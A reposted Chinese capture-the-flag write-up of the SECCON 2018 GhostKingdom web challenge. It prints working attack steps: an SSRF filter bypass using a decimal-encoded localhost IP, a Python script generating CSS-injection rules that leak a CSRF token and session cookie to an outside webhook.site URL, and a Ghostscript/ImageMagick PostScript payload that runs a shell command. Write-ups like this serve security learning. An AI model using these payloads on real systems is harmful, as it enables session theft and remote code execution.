SECCON 2018 GhostKingdom WrtieUp

栏目: CSS · 发布时间: 6年前

内容简介:进入网站后注册用户,登录界面如下:登录的请求为GET型。http://ghostkingdom.pwn.seccon.jp/?user=rai4over&pass=test123&action=login

题目 信息

SECCON 2018 GhostKingdom WrtieUp

进入网站后注册用户,登录界面如下:

SECCON 2018 GhostKingdom WrtieUp

登录的请求为GET型。

http://ghostkingdom.pwn.seccon.jp/?user=rai4over&pass=test123&action=login

登陆后主界面如下:

SECCON 2018 GhostKingdom WrtieUp
  • Message to admin,用于给管理员发送信息,包含Normal和Emergency模式,普通模式下css参数为空,标签无颜色。

http://ghostkingdom.pwn.seccon.jp/?css=&msg=1111&action=msgadm2

SECCON 2018 GhostKingdom WrtieUp

在紧急模式下,URL会增加css参数的值,存在CSS注入,并且为base64编码,标签添加CSS样式,标签变红。

http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=1111&action=msgadm2

SECCON 2018 GhostKingdom WrtieUp
SECCON 2018 GhostKingdom WrtieUp

提交表单页面的的csrf令牌和用户的cookie相同。

SECCON 2018 GhostKingdom WrtieUp

SECCON 2018 GhostKingdom WrtieUp

  • Take a screenshot,根据链接进行截屏操作。

  • Upload image,只有本地登录的用户才能使用此功能。

解题思路

首先本地登录账户,激活Upload image,再进一步操作。

Take a screenshot处存在SSRF漏洞,我们可以发送登录请:

http://ghostkingdom.pwn.seccon.jp/?user=rai4over&pass=test123&action=login

并且我们发现能够登陆成功,尝试使用本地登录,发现进行了过滤。

http://127.0.0.1/?user=rai4over&pass=test123&action=login
SECCON 2018 GhostKingdom WrtieUp

这里我们直接转化IP地址为10进制,成功绕过过滤,激活Upload image功能。

截屏处登陆后,本地账户会话状态会在截屏功能一直维持,我们可以带着状态访问其他页面。

http://2130706433/?user=rai4over&pass=test123&action=login
SECCON 2018 GhostKingdom WrtieUp

想办法获得这个登陆这个本地账户,也就是获得本地账户的cookie,我们就能轻松使用Upload image功能。

根据csrf令牌等于cookie的条件,并且该页面css参数存在css注入,我们可以在发送信息页面窃取csrf令牌,获得cookie。

脚本如下:

import base64
import string
import urllib

string_list = string.ascii_lowercase + string.digits
css = ""
for x in string_list:
   css += """input[name="csrf"][value^="9bbc0ec46162afe2aaf796{s1}"] {{
background: url(https://webhook.site/6aca0f2a-f21b-4f56-9c12-88f72c4e238a/9bbc0ec46162afe2aaf796{s2});
}}""".format(s1=x, s2=x)

css = urllib.quote(base64.b64encode(css))

URL = "http://2130706433/?msg=11&action=msgadm2&css=" + css
print(URL)

最终获得cookie为9bbc0ec46162afe2aaf796

SECCON 2018 GhostKingdom WrtieUp

成功登录本地账户

SECCON 2018 GhostKingdom WrtieUp

进入图片上传模块,上传图片后发现后有转换图片格式的功能

SECCON 2018 GhostKingdom WrtieUp

ImageMagick命令执行漏洞,设置上传内容,然后转换图片格式即可执行命令。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops
SECCON 2018 GhostKingdom WrtieUp

Flag为SECCON{CSSinjection+GhostScript/ImageMagickRCE}


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Python Machine Learning

Python Machine Learning

Sebastian Raschka / Packt Publishing - ebooks Account / 2015-9 / USD 44.99

About This Book Leverage Python' s most powerful open-source libraries for deep learning, data wrangling, and data visualization Learn effective strategies and best practices to improve and opti......一起来看看 《Python Machine Learning》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具